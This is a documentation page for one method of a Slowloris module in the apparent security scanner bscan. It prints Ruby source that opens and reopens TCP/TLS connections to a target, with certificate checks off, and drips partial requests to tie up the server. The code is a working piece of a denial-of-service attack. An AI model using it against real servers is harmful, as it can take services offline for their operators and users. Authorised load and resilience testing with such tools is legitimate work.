Method: Slowloris#send_slow

Defined in:

lib/bscan/modules/slowloris.rb

#send_slow(host, port, req, proto, t, con, reopen = true) ⇒ Object

# File 'lib/bscan/modules/slowloris.rb', line 184

def send_slow host,port,req,proto,t,con,reopen=true
 @bscan.activity[0]=true
 begin
    s = @threadinfo[t][con]
    rndr = random_url(req)

    if !s || s.closed? || s.syswrite(rndr) != rndr.length
      s.close if s && !s.closed?
      raise "can't send more, connection closed  #{host} #{port} #{t} #{con}" if not reopen
        
      @bscan.Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con}"
      s = TCPSocket.new(host, port)
      if (proto =~ /https/i)
        ctx = OpenSSL::SSL::SSLContext.new
        ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE 
        s = OpenSSL::SSL::SSLSocket.new(s, ctx)
        s.connect
      end
      update_info t,con,s
    end
    s.syswrite(rndr)
    @bscan.Log 2, "#{@mid}send_slow succeeded for  #{t} #{con} #{rndr}"
    @bscan.Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
  rescue Exception => e
    @bscan.Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message}"
    begin
      s.close
    rescue
    end  
    update_info t,con,nil
  end
end